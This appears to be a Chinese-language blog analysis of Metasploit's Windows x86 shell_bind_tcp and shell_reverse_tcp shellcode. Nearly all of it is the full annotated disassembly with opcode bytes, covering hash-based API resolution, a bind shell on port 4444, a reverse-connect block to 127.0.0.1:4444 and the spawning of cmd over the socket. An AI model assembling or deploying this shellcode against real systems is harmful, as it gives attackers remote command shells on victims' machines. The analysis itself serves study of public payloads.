msfvenom 生成的 shellcode 1
最终修改: 2021.02.18
目标来源: 参考资料 1 ,参考资料 2
分析环境: windows 7
文档说明: 简要分析 msf 中 windows x86 shellcode 中的 shell_bind_tcp 和 shell_reverse_tcp
0x00 概要
“参考资料 6” 中已经有前辈分析过 “通过Hash查找API函数地址” 了,也就是 “参考资料 3” 中的汇编部分,想了一下,还是把我分析的这些也发出来吧。
0x01正文
shell_bind_tcp (参考资料 1)
初始化
1
2FC cld ; 清空标志位
E8 82 00 00 00 call start_mainblock_api.asm 通过Hash查找API函数地址 (参考资料 3)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78; fund_fun proc near
60 pusha
89 E5 mov ebp, esp
31 C0 xor eax, eax ; eax 清零
64 8B 50 30 mov edx, fs:[eax+30h] ; 从 TEB 中得到 PEB 结构地址,存入 edx
8B 52 0C mov edx, [edx+0Ch] ; 获取 PEB_LDR_Data 结构,存入 edx
8B 52 14 mov edx, [edx+14h] ; PLD 中 14h 位置的 LIST_ENTRY InMemoryOrderList 存入 edx
fund_module_loop:
8B 72 28 mov esi, [edx+28h] ; 获得指向模块名称 BaseDllName 的地址
0F B7 4A 26 movzx ecx, word ptr [edx+26h] ; 字符串缓冲区的总大小
31 FF xor edi, edi ; edi = 0
loop_modname:
AC lodsb ; 逐字节读取模块名
3C 61 cmp al, 'a'
7C 02 jl short not_lowercase ; 和字母 'a' 比较,这里是为了统一换成大写
2C 20 sub al, 20h ; 大写则跳转, 小写则变大写
not_lowercase:
C1 CF 0D ror edi, 0Dh ; 将 hash 值循环右移 13 位
01 C7 add edi, eax ; hash 值与 下一个字符 相加, 得到新的 hash
E2 F2 loop loop_modname ; 循环整个函数名
52 push edx ; 保存 edx (InMemoryOrderList)
57 push edi ; 保存 edi (module hash)
8B 52 10 mov edx, [edx+10h] ; 模块基地址
8B 4A 3C mov ecx, [edx+3Ch] ; 跳过 DOS 头
8B 4C 11 78 mov ecx, [ecx+edx+78h] ; 找到导出表, 并将其相对地址放入EDX
E3 48 jecxz short get_next_mod_again ; ecx=0, 没有导出模块则跳转
01 D1 add ecx, edx ; 得到当前模块导出表的 VA
51 push ecx ; 保存当前模块导出表的 VA
8B 59 20 mov ebx, [ecx+20h] ; 获取函数名地址数组的 RVA
01 D3 add ebx, edx ; 获取 VA
8B 49 18 mov ecx, [ecx+18h] ; 获取函数个数
get_next_func:
E3 3A jecxz short get_next_mod ; 没找到函数, 跳转到下一个模块
49 dec ecx ; ecx - 1
8B 34 8B mov esi, [ebx+ecx*4] ; 获取函数名字符串
01 D6 add esi, edx ; 获取函数名的 VA
31 FF xor edi, edi ; edi = 0
loop_funname:
AC lodsb ; 逐字节读取函数名
C1 CF 0D ror edi, 0Dh ; 将 hash 值循环右移 13 位
01 C7 add edi, eax ; hash 值与 下一个字符 相加, 得到新的 hash
38 E0 cmp al, ah ; 检查是否为所要找的函数名
75 F6 jnz short loop_funname ; 没找到继续找
03 7D F8 add edi, [ebp-8] ; [ebp-8] 为之前计算过的模块 hash , 与这里的函数 hash 相加, 得到总的 hash
3B 7D 24 cmp edi, [ebp+24h] ; 与目标函数的 hash 对比
75 E4 jnz short get_next_func ; 不相等, 继续寻找下一个函数
58 pop eax ; 还原当前模块的 EAT 的 VA
8B 58 24 mov ebx, [eax+24h] ; 获取 AddressOfNameOrdinals 的 RVA
01 D3 add ebx, edx ; 的到 VA
66 8B 0C 4B mov cx, [ebx+ecx*2] ; 从 AddressOfNameOrdinals 中得到目标函数的 index
8B 58 1C mov ebx, [eax+1Ch] ; 获得函数地址表 AddressFunctions 的 RVA
01 D3 add ebx, edx ; 得到 VA
8B 04 8B mov eax, [ebx+ecx*4] ; 得到目标函数的 RVA
01 D0 add eax, edx ; 得到函数的 VA
89 44 24 24 mov [esp+24h], eax ; 将地址保存到 [esp+24h]
5B pop ebx ; 弹出 module hash
5B pop ebx ; 弹出 InMemoryOrderList
61 popa ; 弹出 pusha 保存的寄存器
; fund_fun endp
59 pop ecx ; 弹出返回地址
5A pop edx ; 弹出目标函数的hash
51 push ecx ; 存入返回地址
FF E0 jmp eax ; 跳转到目标函数执行
get_next_mod:
5F pop edi ; 弹出当前模块导出表 VA 到 edi
get_next_mod_again:
5F pop edi ; 弹出之前保存的 hash
5A pop edx ; 弹出 InMemoryOrderList 到 edx
8B 12 mov edx, [edx] ; 将 edx 指向下一个模块
EB 8D jmp short fund_module_loop ; 跳转到下一个模块block_bind_tcp.asm (参考资料 4)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62start_main:
5D pop ebp
68 33 32 00 00 push '23' ; 将字节 'ws2_32',0,0 入栈
68 77 73 32 5F push '_2sw' ; ...
54 push esp ; esp 入栈
68 4C 77 26 07 push 726774Ch ; LoadLibraryA 的 hash 入栈
FF D5 call ebp ; <kernel32.LoadLibraryA>
; LoadLibraryA( "ws2_32" )
B8 90 01 00 00 mov eax, 190h ; EAX = sizeof( struct WSAData )
29 C4 sub esp, eax ; 为 struct WSAData 开辟空间
54 push esp ; 压入 esp
50 push eax ; 压入 wVersionRequested 参数
68 29 80 6B 00 push 6B8029h ; WSAStartup 的 hash 入栈
FF D5 call ebp ; <ws2_32.WSAStartup>
; WSAStartup( 0x0190, &WSAData );
; diffstart
6A 08 push 8 ;
59 pop ecx ;
eight_zero:
50 push eax ; 压入 8 个 0 备用
E2 FD loop eight_zero ; push zero for the flags param [8]
; push null for reserved parameter [7]
; we do not specify a WSAPROTOCOL_INFO structure [6]
; we do not specify a protocol [5]
40 inc eax ;
50 push eax ; 压入 1 (SOCK_STREAM)
40 inc eax ;
50 push eax ; 压入 2 (AF_INET)
68 EA 0F DF E0 push 0E0DF0FEAh ; WSASocketA 的 hash 入栈
FF D5 call ebp ; <ws2_32.WSASocketA>
; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
97 xchg eax, edi ; 保存套接字以备后用,此后不必关心eax的值
; bind to 0.0.0.0,之前压栈的 0
68 02 00 11 5C push 5C110002h ; AF_INET 和 port 4444
89 E6 mov esi, esp ; 保存一个指向 sockaddr_in 结构的指针
6A 10 push 10h ; sockaddr_in 结构体长度 (我们只设置了前 8 位,后面 8 位没啥用)
56 push esi ; 指向 sockaddr_in 结构的指针入栈
57 push edi ; socket
68 C2 DB 37 67 push 6737DBC2h ; bind 的 hash 入栈
FF D5 call ebp ; <ws2_32.bind>
; bind( s, &sockaddr_in, 16 );
; 其余参数之前就已经入栈了
57 push edi ; socket
68 B7 E9 38 FF push 0FF38E9B7h ; listen 的 hash 入栈
FF D5 call ebp ; <ws2_32.listen>
; listen( s, 0 );
; 我们将 sockaddr 结构的长度设置为零
; 我们不设置可选的 sockaddr 参数
57 push edi ; listening socket
68 74 EC 3B E1 push 0E13BEC74h ; accept 的 hash 入栈
FF D5 call ebp ; <ws2_32.accept>
; accept( s, 0, 0 );
57 push edi ; 压入 edi
97 xchg eax, edi ; 把 listing socket 换成新的连接
68 75 6E 4D 61 push 614D6E75h ; closesocket 的 hash 入栈
FF D5 call ebp ; <ws2_32.closesocket>
; closesocket( s );
; diffendblock_shell.asm (参考资料 7) 不想翻译了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
3968 63 6D 64 00 push 'dmc' ; push our command line: 'cmd',0
89 E3 mov ebx, esp ; save a pointer to the command line
57 push edi ; our socket becomes the shells hStdError
57 push edi ; our socket becomes the shells hStdOutput
57 push edi ; our socket becomes the shells hStdInput
31 F6 xor esi, esi ; Clear ESI for all the NULL's we need to push
6A 12 push 12h ; We want to place (18 * 4) = 72 null bytes onto the stack
59 pop ecx ; Set ECX for the loop
twelve_zero:
56 push esi ; push a null dword
E2 FD loop twelve_zero ; keep looping untill we have pushed enough nulls
66 C7 44 24 3C 01 01 mov word ptr [esp+3Ch], 101h ; Set the STARTUPINFO Structure's dwFlags to STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
8D 44 24 10 lea eax, [esp+10h] ; Set EAX as a pointer to our STARTUPINFO Structure
C6 00 44 mov byte ptr [eax], 44h ; Set the size of the STARTUPINFO Structure
54 push esp ; Push the pointer to the PROCESS_INFORMATION Structure
50 push eax ; Push the pointer to the STARTUPINFO Structure
56 push esi ; The lpCurrentDirectory is NULL so the new process will have the same current directory as its parent
56 push esi ; The lpEnvironment is NULL so the new process will have the same enviroment as its parent
56 push esi ; We dont specify any dwCreationFlags
46 inc esi ; Increment ESI to be one
56 push esi ; Set bInheritHandles to TRUE in order to inheritable all possible handle from the parent
4E dec esi ; Decrement ESI back down to zero
56 push esi ; Set lpThreadAttributes to NULL
56 push esi ; Set lpProcessAttributes to NULL
53 push ebx ; Set the lpCommandLine to point to "cmd",0
56 push esi ; Set lpApplicationName to NULL as we are using the command line param instead
68 79 CC 3F 86 push 863FCC79h ; hash( "kernel32.dll", "CreateProcessA" )
FF D5 call ebp ; <kernel32.CreateProcessA>
; CreateProcessA( 0, &"cmd", 0, 0, TRUE, 0, 0, 0, &si, &pi );
; perform the call to WaitForSingleObject
89 E0 mov eax, esp ; save pointer to the PROCESS_INFORMATION Structure
4E dec esi ; Decrement ESI down to -1 (INFINITE)
56 push esi ; push INFINITE inorder to wait forever
46 inc esi ; Increment ESI back to zero
FF 30 push dword ptr [eax] ; push the handle from our PROCESS_INFORMATION.hProcess
68 08 87 1D 60 push 601D8708h ; hash( "kernel32.dll", "WaitForSingleObject" )
FF D5 call ebp ; <kernel32.WaitForSingleObject>
; WaitForSingleObject( pi.hProcess, INFINITE );block_exitfunk.asm (参考资料 8) 不想翻译了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16exitfunk:
BB E0 1D 2A 0A mov ebx, 0A2A1DE0h ; The EXITFUNK as specified by user...
68 A6 95 BD 9D push 9DBD95A6h ; hash( "kernel32.dll", "GetVersion" )
FF D5 call ebp ; <kernel32.GetVersion>
; GetVersion(); (AL will = major version and AH will = minor version)
3C 06 cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7
7C 0A jl short goodbye ; Then just call the exit function...
80 FB E0 cmp bl, 0E0h ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
75 05 jnz short goodbye ;
BB 47 13 72 6F mov ebx, 6F721347h ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
goodbye: ; We now perform the actual call to the exit function
6A 00 push 0 ; push the exit function parameter
53 push ebx ; push the hash of the exit function
FF D5 call ebp ; <ntdll.RtlExitUserThread>
; call EXITFUNK( 0 );
shell_reverse_tcp (参考资料 2)
从 shell_bind_tcp 和 shell_reverse_tcp 的对比图可以看出,只有在
6B 00 FF D5
和FF D5 68 63
之间这段是有不同的
截取出 shell_reverse_tcp 中的反汇编 block_reverse_tcp.asm (参考资料 5) 不想翻译了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40FF D5 call ebp ; <ws2_32.WSAStartup>
; diffstart
50 push eax ; if we succeed, eax wil be zero, push zero for the flags param.
50 push eax ; push null for reserved parameter
50 push eax ; we do not specify a WSAPROTOCOL_INFO structure
50 push eax ; we do not specify a protocol
40 inc eax ;
50 push eax ; push SOCK_STREAM
40 inc eax ;
50 push eax ; push AF_INET
68 EA 0F DF E0 push 0E0DF0FEAh ; hash( "ws2_32.dll", "WSASocketA" )
FF D5 call ebp ; <ws2_32.WSASocketA> WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
97 xchg eax, edi ; save the socket for later, don't care about the value of eax after this
; set_address:
6A 05 push 5 ; retry counter
68 7F 00 00 01 push 100007Fh ; host 127.0.0.1
68 02 00 11 5C push 5C110002h ; family AF_INET and port 4444
89 E6 mov esi, esp ; save pointer to sockaddr struct
try_connect:
6A 10 push 10h ; length of the sockaddr struct
56 push esi ; pointer to the sockaddr struct
57 push edi ; the socket
68 99 A5 74 61 push 6174A599h ; hash( "ws2_32.dll", "connect" )
FF D5 call ebp ; <ws2_32.connect> connect( s, &sockaddr, 16 );
85 C0 test eax, eax ; non-zero means a failure
74 0C jz short diffend ;
; handle_failure:
FF 4E 08 dec dword ptr [esi+8] ;
75 EC jnz short try_connect ;
; failure:
68 F0 B5 A2 56 push 56A2B5F0h ; hardcoded to exitprocess for size
FF D5 call ebp ; <kernel32.ExitProcess>
diffend:
0x03 总结
越看越觉得自己没干啥,都是别人弄过的东西,又搬运了一遍而已,有时间把剩下的那些 shellcode 也看了,还有 x64 和 android 。